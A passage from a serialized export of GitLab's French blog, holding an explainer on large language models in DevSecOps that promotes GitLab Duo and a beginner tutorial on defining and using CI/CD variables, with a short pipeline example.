Makeover","fr-fr/blog/gitlab-duo-chat-gets-agentic-ai-makeover.yml","fr-fr/blog/gitlab-duo-chat-gets-agentic-ai-makeover",{"_path":1223,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1224,"content":1230,"config":1236,"_id":1238,"_type":16,"title":1239,"_source":17,"_file":1240,"_stem":1241,"_extension":20},"/fr-fr/blog/large-language-model",{"title":1225,"description":1226,"ogTitle":1225,"ogDescription":1226,"noIndex":6,"ogImage":1227,"ogUrl":1228,"ogSiteName":841,"ogType":842,"canonicalUrls":1228,"schema":1229},"Qu’est-ce qu’un grand modèle de langage (LLM) ?","Que sont les grands modèles de langage ? Découvrez leur fonctionnement, leurs applications et leurs impacts dans l’univers DevSecOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660057/Blog/Hero%20Images/LLM.jpg","https://about.gitlab.com/blog/large-language-model","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Qu’est-ce qu’un grand modèle de langage (LLM) ?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab France Team\"}],\n        \"datePublished\": \"2025-05-28\",\n      }",{"title":1225,"description":1226,"authors":1231,"heroImage":1227,"date":1233,"body":1234,"category":697,"tags":1235},[1232],"GitLab France Team","2025-05-28","Les grands modèles de langage (ou Large Language Models) révolutionnent les approches [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que le DevOps ? \") et DevSecOps en simplifiant des tâches complexes, qu’il s’agisse de créer du code, d’examiner des logs ou de détecter des vulnérabilités.\n\nDans cet article, découvrez comment fonctionnent les grands modèles de langage, leurs applications concrètes et les principaux enjeux à surmonter pour exploiter pleinement leur potentiel.\n\n__Sommaire__\n- Qu’est-ce qu’un LLM ?\n- Comment fonctionnent les grands modèles de langage ?\n- Applications des grands modèles de langage dans une approche DevSecOps\n- Quels sont les avantages des grands modèles de langage ?\n- Quels sont les défis liés à l’utilisation des LLM ?\n- Comment GitLab utilise les LLM pour ses fonctionnalités GitLab Duo ?\n\n## Qu’est-ce qu’un LLM ? \n\nLes grands modèles de langage (LLM) sont des systèmes d’intelligence artificielle capables de traiter et de générer du texte de manière autonome. Leur apprentissage repose sur l’analyse de vastes ensembles de données issues de sources variées, afin qu’ils puissent maîtriser les structures linguistiques, les relations contextuelles et les nuances du langage.\n\nLes LLM représentent une avancée majeure dans le domaine de l’IA. Leur capacité à traiter, générer et interpréter du texte repose sur des techniques sophistiquées d’apprentissage automatique et de traitement automatique du langage naturel (NLP). Ces systèmes ne se contentent pas de traiter des mots isolés : ils analysent des séquences complexes pour saisir le sens global, les contextes subtils et les nuances linguistiques.\n\n## Comment fonctionnent les grands modèles de langage ?\n\nPour mieux comprendre leur fonctionnement, explorons certaines des caractéristiques clés des grands modèles de langages.\n\n### Apprentissage supervisé et non supervisé\n\nLes grands modèles de langage sont entraînés selon deux approches complémentaires : l’apprentissage supervisé et l’apprentissage non supervisé. Ces deux approches du machine learning permettent de maximiser leurs capacités à analyser et à générer du texte. \n\n- **L’apprentissage supervisé** repose sur des données étiquetées, où chaque entrée est associée à un résultat attendu. Le modèle apprend à associer ces entrées aux sorties correctes en ajustant ses paramètres internes pour réduire les erreurs de prédiction. Grâce à cette approche, le modèle acquiert des connaissances précises sur des tâches spécifiques, telles que la classification de textes ou la reconnaissance d’entités nommées.\n\n- **L’apprentissage non supervisé (ou apprentissage automatique)**, quant à lui, ne nécessite pas de données étiquetées. Le modèle explore de vastes volumes de texte pour découvrir des structures cachées et identifier des relations sémantiques. Ainsi, le modèle est en capacité d‘apprendre des schémas récurrents, des règles grammaticales implicites dans le texte ou encore de contextualisation des phrases et des concepts. Cette méthode permet d’entraîner les LLM sur de vastes corpus de données, accélérant considérablement leur progression sans intervention humaine directe.\n\nEn combinant ces deux approches, les grands modèles de langage bénéficient autant d'un apprentissage précis guidé par des humains que d’une exploration autonome illimitée. Cette complémentarité leur permet de se développer rapidement, tout en améliorant continuellement leur capacité à comprendre et à générer du texte de manière cohérente et contextuelle.\n\n### Apprentissage reposant sur un large volume de données \n\nLes grands modèles de langage sont entraînés à partir de milliards de phrases issues de sources variées, telles que des articles de presse, des forums en ligne, des documentations techniques, des études scientifiques et bien plus encore. Cette variété de sources leur permet d’acquérir une compréhension étendue et nuancée du langage naturel, allant des expressions courantes aux terminologies spécialisées.\n\nLa richesse des données utilisées est un facteur clé de la performance des LLM. Chaque source apporte des styles d’écriture, des contextes culturels et des niveaux de technicité différents. \n\nPar exemple :\n- __Des articles de presse__ : pour maîtriser un langage informatif et factuel.\n- __Des forums en ligne__ : pour comprendre les conversations informelles et les langages techniques des communautés spécialisées.\n- __Des documentations techniques et études scientifiques__ : pour assimiler des concepts complexes et des terminologies spécifiques, notamment dans des domaines comme le DevOps et le DevSecOps.\n\nCette diversité de contenu permet aux LLM de reconnaître des structures linguistiques complexes, d’interpréter des phrases dans différents contextes et de s’adapter à des domaines très techniques. Dans le DevSecOps, cela signifie comprendre des commandes, des configurations, des protocoles de sécurité et même des concepts liés au développement et à la maintenance de systèmes informatiques.\n\nGrâce à cette formation à grande échelle, les grands modèles de langage peuvent répondre avec précision à des questions complexes, rédiger des documentations techniques ou identifier des vulnérabilités dans des systèmes informatiques.\n\n### Architecture de réseaux neuronaux et « deep learning » \n\nLes grands modèles de langage reposent sur des architectures de réseaux neuronaux avancées. Ces réseaux sont spécialement conçus pour traiter de grandes séquences de texte tout en maintenant une compréhension précise du contexte. Cet apprentissage en « deep learning » constitue un atout majeur dans le domaine du traitement automatique du langage naturel (NLP).\n\nLa plus connue de ces structures est l’architecture des modèles séquence à séquence (transformers). Cette architecture a révolutionné le NLP grâce à sa capacité à analyser simultanément toutes les parties d’un texte, contrairement aux approches séquentielles qui traitent les mots un par un.\n\nLes modèles séquence à séquence excellent dans le traitement des textes longs. Par exemple, dans une conversation ou un document technique détaillé, ils sont capables de relier des informations distantes dans le texte pour produire des réponses précises et bien argumentées. Cette gestion du contexte est essentielle dans une approche DevSecOps, où les instructions peuvent être complexes et réparties sur plusieurs lignes de code ou étapes de configuration.\n\n### Génération de texte prédictive\n\nLorsque l'utilisateur soumet un texte, une requête ou une question, un grand modèle de langage utilise sa capacité de prédiction pour générer la suite la plus probable, fondée sur le contexte fourni.\n\nLe modèle analyse chaque mot, étudie les relations grammaticales et sémantiques, puis sélectionne les termes les plus adaptés pour produire un texte cohérent et informatif. Cette approche permet de générer des réponses précises, détaillées et adaptées au ton attendu.\n\nDans les environnements DevSecOps, cette capacité devient particulièrement utile pour :\n- **l’assistance au codage** : génération de blocs de code ou de scripts adaptés à des configurations spécifiques.\n- **la résolution de problèmes techniques** : propositions de solutions basées sur des descriptions de bogues ou d’erreurs.\n- **la rédaction de documentations techniques** : création automatique de guides, de manuels ou d'instructions.\n\nLa génération de texte prédictive permet ainsi d’automatiser de nombreuses tâches répétitives et d’accélérer le travail des équipes techniques.\n\n## Applications des grands modèles de langage dans une approche DevSecOps\n\nAvec la montée en puissance de l’automatisation, les grands modèles de langage sont devenus des alliés incontournables pour les équipes techniques. Leur capacité à comprendre et à générer du texte de manière contextuelle leur permet d’intervenir efficacement dans des environnements complexes tels que le [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\").\n\nGrâce à leur puissance d’analyse et leur capacité à s’adapter aux besoins spécifiques, ces modèles offrent des solutions sur mesure pour rationaliser les processus et alléger la charge de travail des équipes techniques.\n\n### Génération de code automatisée\n\nLes équipes de développement peuvent exploiter les grands modèles de langage pour transformer des spécifications fonctionnelles en code source de manière automatisée. \n\nGrâce à cette capacité, elles peuvent :\n\n- générer des scripts d'automatisation complexes,\n- créer des pipelines CI/CD adaptés aux processus spécifiques de l'entreprise,\n- produire des correctifs de sécurité sur mesure.\n- générer des explications de code et créer une documentation,\n- refactoriser le code en améliorant sa structure et sa lisibilité sans modifier les fonctionnalités,\n- générer des tests. \n\nEn s'appuyant sur les LLM, les équipes parviennent à accélérer le développement de leurs logiciels tout en réduisant les risques d'erreurs humaines.\n\n### Documentation et partage des connaissances améliorés \n\nCes puissants outils facilitent la création de manuels d'utilisation, de descriptions d'API et de tutoriels sur mesure, parfaitement adaptés au niveau d'expertise de chaque utilisateur. En s’appuyant sur des bases de connaissances existantes, les grands modèles de langages créent des réponses contextuelles aux questions fréquentes. Cela améliore la transmission des savoirs au sein des équipes, accélère l'intégration des nouveaux membres et permet de centraliser les bonnes pratiques.\n\n### Gestion des incidents et dépannage\n\nLors d’un incident, les LLM jouent un rôle crucial en analysant en temps réel les logs et les fichiers de trace. Grâce à leur capacité à croiser des informations provenant de multiples sources, ils identifient les anomalies et proposent des solutions fondées sur des incidents similaires passés. Cette approche réduit significativement le temps de diagnostic. De plus, les LLM peuvent automatiser la création de rapports d'incidents détaillés et recommander des actions correctives précises.\n\n### Création et amélioration des pipelines CI/CD\n\nLes grands modèles de langage révolutionnent la configuration des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"). Ils peuvent non seulement aider à créer des pipelines, mais aussi à automatiser ce processus et proposer des configurations optimales basées sur des standards de l'industrie. En adaptant les workflows selon vos besoins spécifiques, ils assurent une cohérence parfaite entre les différents environnements de développement. Les tests automatisés sont renforcés par des suggestions pertinentes, limitant ainsi les risques de défaillance. Les LLM surveillent également en continu l’efficacité des pipelines et ajustent les processus pour garantir un déploiement fluide et sans interruption.\n\n### Sécurité et conformité\n\nDans un environnement DevSecOps, les grands modèles de langage deviennent des alliés précieux pour la [sécurité et la conformité](https://about.gitlab.com/fr-fr/solutions/security-compliance/ \"Sécurité et conformité\"). Ils analysent le code source à la recherche de vulnérabilités potentielles et génèrent des recommandations correctives détaillées. Les LLM peuvent également surveiller l'application des normes de sécurité en temps réel, produire des rapports de conformité complets et automatiser l'application de correctifs de sécurité dès qu'une faille est identifiée. Cette automatisation renforce la sécurité globale et garantit un respect constant des exigences légales et industrielles.\n\n## Quels sont les avantages des grands modèles de langage ?\n\nLes grands modèles de langage transforment en profondeur les approches DevOps et DevSecOps, apportant des améliorations substantielles en matière de productivité, de sécurité et de qualité logicielle. En s’intégrant aux workflows existants, les LLM bouleversent les approches traditionnelles en automatisant des tâches complexes et en fournissant des solutions innovantes.\n\n### Amélioration de la productivité et de l’efficacité\n\nLes grands modèles de langage jouent un rôle central dans l’amélioration de la productivité et de l’efficacité des équipes techniques. En automatisant un large éventail de tâches répétitives, ils libèrent les équipes de développement des opérations routinières. Ces dernières peuvent ainsi se concentrer sur des activités stratégiques à plus forte valeur ajoutée.\n\nEn outre, les LLM agissent comme des assistants techniques intelligents capables de fournir instantanément des extraits de code pertinents, adaptés au contexte spécifique de chaque projet. De cette manière, ils réduisent considérablement le temps de recherche en proposant des solutions prêtes à l’emploi pour assister les équipes dans leur travail. Cette assistance ciblée accélère la résolution des problèmes et diminue les interruptions dans les workflows.\n\nAinsi, la productivité augmente et les projets avancent plus rapidement. Les équipes techniques peuvent prendre en charge un plus grand nombre de tâches sans compromettre la qualité des livrables.\n\n### Amélioration de la qualité du code et de la sécurité \n\nL’utilisation des grands modèles de langage dans le développement logiciel constitue un levier majeur pour améliorer autant la qualité du code que la sécurité des applications. Grâce à leurs capacités d’analyse avancées, les LLM peuvent examiner le code source ligne par ligne et détecter instantanément les erreurs syntaxiques, incohérences logiques et vulnérabilités potentielles. Leur aptitude à reconnaître le code défectueux permet de recommander des corrections adaptées et conformes aux meilleures pratiques du secteur.\n\nLes LLM jouent aussi un rôle préventif essentiel. Ils excellent dans l'identification des failles de sécurité complexes, souvent difficiles à repérer par les humains. En analysant les dépendances, ils peuvent signaler des bibliothèques obsolètes ou vulnérables, et recommander des versions mises à jour plus sûres. Cette approche contribue au maintien d’un environnement sécurisé et conforme aux normes de sécurité en vigueur.\n\nAu-delà de la correction des erreurs existantes, les LLM proposent des améliorations en suggérant des pratiques de codage et des structures de projet optimisées. Ils peuvent générer du code respectant les normes de sécurité les plus avancées, et ce, dès les premières étapes du développement.\n\n### Accélération des cycles de développement\n\nLes grands modèles de langage jouent un rôle déterminant dans l’accélération des cycles de développement logiciel en automatisant des tâches clés qui, autrement, mobiliseraient de précieuses ressources humaines.\n\nLes tâches complexes et répétitives, comme l’écriture de fonctions, la création de tests unitaires ou l’implémentation de composants standards, sont automatisées en quelques instants.\n\nLes LLM accélèrent également la phase de validation grâce à leur capacité à suggérer des scénarios de test complets et adaptés. Ils garantissent une couverture de test plus étendue en un minimum de temps, réduisant les risques d’erreurs et facilitant la détection précoce des anomalies. Cette approche préventive raccourcit le cycle de corrections et limite les retards liés aux problèmes de qualité du code.\n\nEn simplifiant les tâches techniques et en fournissant des solutions rapides et adaptées, les grands modèles de langage favorisent une réponse plus agile des entreprises aux exigences du marché. Cette accélération du cycle de développement se traduit par des mises à jour plus fréquentes, des itérations plus rapides et une meilleure capacité à adapter les produits aux besoins changeants des utilisateurs.\n\nLes cycles de développement deviennent ainsi plus courts, offrant un avantage stratégique essentiel dans un environnement technologique toujours plus exigeant.\n\n## Quels sont les défis liés à l’utilisation des LLM ?\n\nMalgré leurs nombreux avantages, les grands modèles de langage présentent certaines limites qui nécessitent une gestion attentive. Leur efficacité dépend fortement de la qualité des données utilisées lors de leur entraînement et de la mise à jour régulière de leurs bases de connaissances. De plus, des problèmes liés aux biais algorithmiques, à la sécurité des données et à la confidentialité peuvent survenir, exposant les entreprises à des risques opérationnels et juridiques. Une supervision humaine rigoureuse demeure indispensable pour garantir la fiabilité des résultats, assurer la conformité réglementaire et éviter les erreurs critiques.\n\n### Confidentialité et sécurité des données\n\nL’entraînement des LLM repose sur de vastes volumes de données, souvent issues de sources diverses, ce qui soulève des questions quant à la protection des informations confidentielles. Les données sensibles partagées avec des plateformes cloud peuvent donc être exposées à des violations potentielles. Cela inquiète particulièrement les entreprises opérant dans des secteurs réglementés.\n\nEn Europe, où des réglementations strictes comme le RGPD régissent la gestion des données, de nombreuses entreprises hésitent à transférer leurs informations vers des services externes. Les exigences réglementaires, associées à la crainte d'une exploitation non autorisée des données sensibles, incitent certaines entreprises à privilégier des solutions auto-hébergées pour conserver un contrôle total sur leurs systèmes.\n\nDes fournisseurs comme GitLab ont mis en place des garanties de sécurité robustes, telles que la non-rétention intentionnelle des données à caractère personnel et le chiffrement de bout en bout. Toutefois, cela peut ne pas suffire pour les clients les plus exigeants, qui préfèrent une maîtrise complète de leurs environnements. La mise en œuvre de solutions hybrides ou sur site devient alors une nécessité stratégique pour répondre aux exigences de sécurité de certaines entreprises.\n\nPour en savoir plus sur GitLab Duo Self-Hosted, cliquez sur l'image ci-dessous pour accéder à la visite guidée. \n\n\u003Ca href=\"https://gitlab.navattic.com/gitlab-duo-self-hosted\">\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176132/Blog/chn5c0bsfauypnjfhmxv.png\" alt=\"GitLab Duo Self-Hosted Product Tour\">\u003C/a>\n\n### Précision et fiabilité\n\nBien que les grands modèles de langage soient capables de générer des résultats impressionnants, leur performance n’est pas infaillible. Ils peuvent produire des réponses incorrectes, incomplètes ou incohérentes. Cette imprécision devient particulièrement problématique dans le cadre de tâches critiques comme la génération de code de sécurité ou l'analyse de données sensibles.\n\nDe plus, les LLM fonctionnent sur la base de modèles probabilistes, ce qui signifie qu’ils ne « comprennent » pas véritablement le contenu qu'ils traitent, mais produisent des prédictions basées sur des probabilités statistiques. Cela peut entraîner des recommandations techniquement incorrectes, voire dangereuses, lorsqu'elles sont utilisées sans validation humaine.\n\nPour éviter ces pièges, il est essentiel de maintenir une supervision constante et d’établir des processus de validation rigoureux. Les résultats fournis par les LLM doivent alors toujours être examinés par des humains avant leur intégration dans des systèmes critiques.\n\nUne stratégie de mise à jour régulière des modèles, associée à une surveillance humaine proactive, permet de réduire les erreurs et d'améliorer progressivement la fiabilité des résultats.\n\n## Comment GitLab utilise les LLM pour ses fonctionnalités GitLab Duo ?\n\n[GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \"Qu'est-ce que GitLab Duo ? \") exploite la puissance des grands modèles de langage pour transformer les processus DevSecOps en intégrant des fonctionnalités alimentées par l’IA, et ce, tout au long du cycle de vie du développement logiciel. Cette approche vise à améliorer la productivité, renforcer la sécurité et automatiser des tâches complexes afin de permettre aux équipes de développement de se concentrer sur des tâches à forte valeur ajoutée.\n\n### Une assistance IA pour le développement logiciel\n\nGitLab Duo propose un soutien continu tout au long du cycle de développement logiciel grâce à des recommandations en temps réel. Les équipes de développement peuvent automatiquement générer des tests unitaires, obtenir des explications détaillées sur des segments de code complexes et bénéficier de suggestions pour améliorer la qualité de leur code.\n\n### Analyse proactive des défaillances CI/CD\n\nL’une des fonctionnalités clés de GitLab Duo est son assistance à l'analyse des échecs des jobs CI/CD. Grâce au LLM et l’IA, les équipes parviennent à identifier rapidement les sources d'erreurs dans leurs pipelines d’intégration et de déploiement continus. \n\n### Sécurité du code renforcée\n\nGitLab Duo intègre des fonctionnalités de sécurité basées sur l’IA. Le système détecte les vulnérabilités dans le code source et propose des correctifs détaillés pour en réduire les risques. Les équipes reçoivent des explications claires sur la nature des failles identifiées et peuvent appliquer des correctifs automatisés via des [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/ \"Merge request\") générées directement par GitLab Duo. Cette fonctionnalité permet de sécuriser le développement sans pour autant ralentir les cycles de développement.\n\nPour en savoir plus sur cette fonctionnalité, cliquez sur l'image ci-dessous pour accéder à notre visite guidée. \n\n\u003Ca href=\"https://gitlab.navattic.com/ve-vr-short\">\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176145/Blog/bhpatrqtajlcys0lnjwe.png\" alt=\"GitLab Vulnerability Report Product Tour\">\u003C/a>\n\n#### Fonctionnalités clés de GitLab Duo \n\n- [GitLab Duo Chat](https://about.gitlab.com/fr-fr/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/ \"GitLab Duo Chat\") : cette fonctionnalité conversationnelle traite et génère du texte et du code de manière intuitive. Elle permet aux utilisateurs de rechercher rapidement des informations pertinentes dans des volumes importants de texte, notamment dans les tickets, les [epics](https://docs.gitlab.com/ee/user/group/epics/ \"Epics\"), le code source et la [documentation GitLab](https://docs.gitlab.com/ \"Documentation GitLab\").\n\n- [GitLab Duo Self-Hosted](https://about.gitlab.com/fr-fr/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy/ \"GitLab Duo Self-Hosted\") : GitLab Duo Self-Hosted permet aux entreprises ayant des exigences strictes en matière de confidentialité de leurs données de bénéficier des fonctionnalités d’IA de GitLab Duo avec une flexibilité dans le choix du déploiement et des LLM parmi une liste d’options supportées.\n\n- [Suggestions de code](https://about.gitlab.com/direction/create/code_creation/code_suggestions/ \"Suggestions de code\") : les équipes de développement bénéficient de suggestions de code automatisées, ce qui leur permet d'écrire du code sécurisé plus rapidement. Les tâches de codage répétitives et routinières sont ainsi automatisées, accélérant considérablement les cycles de développement logiciel.\n\nGitLab Duo ne se limite pas à ces fonctionnalités. Il offre une gamme étendue de fonctionnalités destinées à simplifier et à optimiser le développement logiciel. Que ce soit pour automatiser des tests, améliorer la collaboration entre les équipes ou renforcer la sécurité des projets, GitLab Duo constitue une solution complète pour des processus DevSecOps intelligents et efficaces.\n\nPour en savoir plus sur GitLab Duo Enterprise, cliquez sur l'image ci-dessous pour accéder à notre visite guidée. \n\n\u003Ca href=\"https://gitlab.navattic.com/duo-enterprise\">\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175911/Blog/b5gdnls7jdyrpeyjby5j.png\" alt=\"GitLab Duo Enterprise Product Tour\">\u003C/a>\n",[699,784],{"slug":1237,"featured":6,"template":683},"large-language-model","content:fr-fr:blog:large-language-model.yml","Large Language Model","fr-fr/blog/large-language-model.yml","fr-fr/blog/large-language-model",{"_path":1243,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1244,"content":1250,"config":1258,"_id":1260,"_type":16,"title":1261,"_source":17,"_file":1262,"_stem":1263,"_extension":20},"/fr-fr/blog/getting-started-with-gitlab-working-with-ci-cd-variables",{"ogTitle":1245,"schema":1246,"ogImage":1247,"ogDescription":1248,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1249,"title":1245,"canonicalUrls":1249,"description":1248},"Premiers pas avec GitLab : comment tirer parti des variables CI/CD","{\n  \"@context\": \"https://schema.org\",\n  \"@type\": \"Article\",\n  \"headline\": \"Premiers pas avec GitLab : comment tirer parti des variables CI/CD\",\n  \"author\": [{\"@type\": \"Person\", \"name\": \"GitLab Team\"}],\n  \"datePublished\": \"2025-05-27\"\n}\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659525/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25.png","Découvrez les variables CI/CD, leur rôle clé dans l'approche DevSecOps ainsi que les bonnes pratiques relatives à leur utilisation.","https://about.gitlab.com/blog/getting-started-with-gitlab-working-with-ci-cd-variables",{"heroImage":1247,"body":1251,"authors":1252,"date":1254,"title":1245,"tags":1255,"description":1248,"category":676,"updatedDate":1147},"*Bienvenue dans notre série « Premiers pas avec GitLab », conçue pour guider les nouveaux utilisateurs dans la prise en main de la plateforme DevSecOps de GitLab.* \n\nAprès avoir exploré les bases de [l'approche CI/CD de GitLab](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-understanding-ci-cd/) dans notre précédent article, concentrons-nous à présent sur les **variables CI/CD** afin de tirer pleinement parti de leur potentiel.\n\n## Qu’est-ce qu’une variable CI/CD ?\n\nLes variables CI/CD sont des paires clé-valeur dynamiques que vous pouvez définir à différents niveaux (projet, groupe ou instance par exemple) au sein de votre environnement GitLab. Elles permettent de personnaliser les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), de centraliser les configurations et de gérer en toute sécurité des données sensibles. Intégrées directement dans le fichier `.gitlab-ci.yml` comme des espaces réservés pour les valeurs correspondantes, elles facilitent la maintenance, renforcent la sécurité et améliorent la flexibilité des workflows CI/CD.\n\n## Quel est le rôle des variables CI/CD ?\n\nLes variables CI/CD offrent de nombreux avantages :\n\n* **Flexibilité** : adaptez facilement vos pipelines à différents environnements, configurations ou cibles de déploiement sans modifier votre script CI/CD principal.  \n* **Sécurité** : stockez en toute sécurité des informations sensibles telles que des clés API, des mots de passe et des tokens sans les exposer dans votre code.  \n* **Maintenabilité** : en centralisant les valeurs, elles simplifient la gestion et les mises à jour de votre configuration CI/CD pour qu'elle reste structurée correctement.  \n* **Réutilisation** : définies une seule fois, elles peuvent être réutilisées dans plusieurs projets, ce qui favorise la cohérence et réduit les doublons.\n\n## Portées des variables CI/CD : projet, groupe et instance\n\nGitLab permet de définir des variables CI/CD à différentes niveaux hiérarchiques du projet, avec un contrôle précis sur leur visibilité, leur portée et leur accessibilité :\n\n* **Variables au niveau du projet** : elles sont propres à un seul projet et idéales pour stocker des paramètres spécifiques, notamment :\n\n  * L'URL de déploiement : définissez des URL distinctes pour les environnements de préproduction et de production.  \n  * Les identifiants de connexion à la base de données : stockez les données de connexion à la base de données afin de pouvoir les utiliser lors d'un test ou d'un déploiement.  \n  * Les feature flags : activez ou désactivez les fonctionnalités à différentes étapes de votre pipeline.  \n  * Exemple : dans le cadre de votre projet `MyWebApp`, vous souhaitez stocker l'URL de déploiement de production. Vous pouvez définir une variable au niveau du projet, nommée `DPROD_DEPLOY_URL`, avec la valeur `https://mywebapp.com` d'URL de production.  \n* **Variables au niveau du groupe** : elles sont partagées par tous les projets d'un groupe GitLab. Elles sont utiles pour centraliser des paramètres communs à plusieurs projets, notamment :\n\n  * Les clés API de services partagés : stockez-les pour des services tels qu'AWS, Google Cloud ou Docker Hub qui sont utilisés par plusieurs projets au sein du groupe.  \n  * Les paramètres de configuration généraux : définissez des paramètres de configuration communs qui s'appliquent à tous les projets du groupe.  \n  * Exemple : dans votre groupe `Web Apps`, vous souhaitez stocker une clé API pour Docker Hub. Vous pouvez définir une variable au niveau du groupe, nommée `DOCKER_HUB_API_KEY`, avec la valeur de clé API correspondante.  \n* **Variables au niveau de l'instance** : elles sont disponibles pour tous les projets d'une instance GitLab et couramment utilisées pour les paramètres généraux qui s'appliquent à l'ensemble de l'entreprise, notamment :\n\n  * Le token d'enregistrement de runner par défaut : fournissez un token par défaut pour l'enregistrement de nouveaux [runners](https://docs.gitlab.com/runner/).  \n  * Les informations sur la licence : stockez les clés de licence des fonctionnalités GitLab ou des outils tiers.  \n  * Les paramètres d'environnement généraux : définissez des variables d'environnement qui doivent être disponibles pour tous les projets.  \n  * Exemple : vous souhaitez définir une image Docker par défaut pour tous les projets de votre instance GitLab. Vous pouvez définir une variable au niveau de l'instance, nommée `DEFAULT_DOCKER_IMAGE`, avec la valeur `ubuntu:latest`.\n\n## Comment définir des variables CI/CD ?\n\nPour définir une variable CI/CD, voici comment procéder :\n\n1. Cliquez sur les boutons **Paramètres > CI/CD** de votre projet, groupe ou instance.  \n2. Accédez à la section **Variables**.  \n3. Cliquez sur **Ajouter une variable**.  \n4. Saisissez la **clé** (par exemple, `API_KEY`) et la **valeur** correspondante.  \n5. Facultatif : cochez l'option **Protéger la variable** si elle contient des données sensibles afin de restreindre son utilisation aux pipelines qui s'exécutent sur des branches ou des tags protégés.  \n6. Facultatif : cochez la case **Masquer la variable** pour masquer sa valeur dans les job logs, afin d'éviter toute exposition accidentelle.  \n7. Cliquez sur **Enregistrer la variable**.\n\n## Comment utiliser des variables CI/CD ?\n\nPour utiliser une variable CI/CD dans votre fichier `.gitlab-ci.yml`, faites simplement précéder le nom de la variable du symbole `$` :\n\n```yaml\ndeploy_job:\n  script:\n    - echo \"Deploying to production...\"\n    - curl -H \"Authorization: Bearer $API_KEY\" https://api.example.com/deploy\n```\n\n## Comment utiliser les variables CI/CD prédéfinies dans GitLab ?\n\nGitLab met à disposition un ensemble de [variables CI/CD prédéfinies](https://docs.gitlab.com/ci/variables/predefined_variables/) que vous pouvez utiliser dans vos pipelines CI/CD. Celles-ci fournissent des informations contextuelles sur le pipeline, le job, le projet en cours, et bien plus encore.\n\nVoici les variables plus couramment utilisées :\n\n* `$CI_COMMIT_SHA` : SHA de validation qui déclenche le pipeline  \n* `$CI_PROJECT_DIR` : répertoire dans lequel le projet est cloné  \n* `$CI_PIPELINE_ID` : ID du pipeline en cours\n* `$CI_ENVIRONMENT_NAME` : nom de l'environnement de déploiement cible (le cas échéant)\n\n## Bonnes pratiques pour l'utilisation des variables CI/CD\n\n* Gérez en toute sécurité les variables sensibles : utilisez des variables protégées et masquées pour stocker les clés API, les mots de passe et tout autre secret.  \n* Évitez de coder en dur les valeurs : stockez les valeurs de configuration dans des variables afin de renforcer la flexibilité et la maintenance de vos pipelines.\n* Organisez vos variables : utilisez des noms explicites et regroupez les variables par usage pour faciliter leur gestion.  \n* Choisissez la portée appropriée : définissez vos variables au niveau du projet, groupe ou instance en fonction de leur utilisation prévue et de leur visibilité.\n\n## Tirez parti de la puissance des variables CI/CD\n\nLes variables CI/CD sont un outil puissant pour personnaliser et sécuriser vos pipelines GitLab. En maîtrisant leur fonctionnement et en comprenant leurs différentes portées, vous pouvez créer des workflows plus flexibles, plus faciles à maintenir et plus efficaces.\n\n> Prêt à passer à l’action ? Commencez à utiliser les variables CI/CD dès aujourd'hui et profitez d'un [essai gratuit de GitLab Ultimate avec Duo Enterprise](https://about.gitlab.com/fr-fr/free-trial/).\n\n## Articles de la série « Premiers pas avec GitLab »\n\nDécouvrez les autres articles de notre série « Premiers pas avec GitLab » :\n\n* [Comment gérer les utilisateurs](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-how-to-manage-users/)\n* [Comment importer vos projets dans GitLab](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n* [Comment maîtriser la gestion de projet](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-mastering-project-management/)\n* [La gemme gitlab-triage : votre alliée pour des workflows Agile automatisés](https://about.gitlab.com/fr-fr/blog/automating-agile-workflows-with-the-gitlab-triage-gem/)\n* [Comprendre l'approche CI/CD](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-understanding-ci-cd/)",[1253],"GitLab Team","2025-05-27",[676,1069,1256,1257,110,675],"CI","CD",{"slug":1259,"featured":92,"template":683},"getting-started-with-gitlab-working-with-ci-cd-variables","content:fr-fr:blog:getting-started-with-gitlab-working-with-ci-cd-variables.yml","Getting Started With Gitlab Working With Ci Cd Variables","fr-fr/blog/getting-started-with-gitlab-working-with-ci-cd-variables.yml","fr-fr/blog/getting-started-with-gitlab-working-with-ci-cd-variables",{"_path":1265,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1266,"content":1272,"config":1279,"_id":1281,"_type":16,"title":1282,"_source":17,"_file":1283,"_stem":1284,"_extension":20},"/fr-fr/blog/gitlab-premium-with-duo",{"title":1267,"description":1268,"ogTitle":1267,"ogDescription":1268,"noIndex":6,"ogImage":1269,"ogUrl":1270,"ogSiteName":841,"ogType":842,"canonicalUrls":1270,"schema":1271},"L'IA à la portée de tous les clients GitLab Premium et Ultimate","GitLab Premium et GitLab Ultimate incluent désormais, sans surcoût, les fonctionnalités essentielles de GitLab Duo.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660188/Blog/Hero%20Images/blog-premium-with-duo-cover-0756-fy26-v2-1800x945.png","https://about.gitlab.com/blog/gitlab-premium-with-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"L'IA à 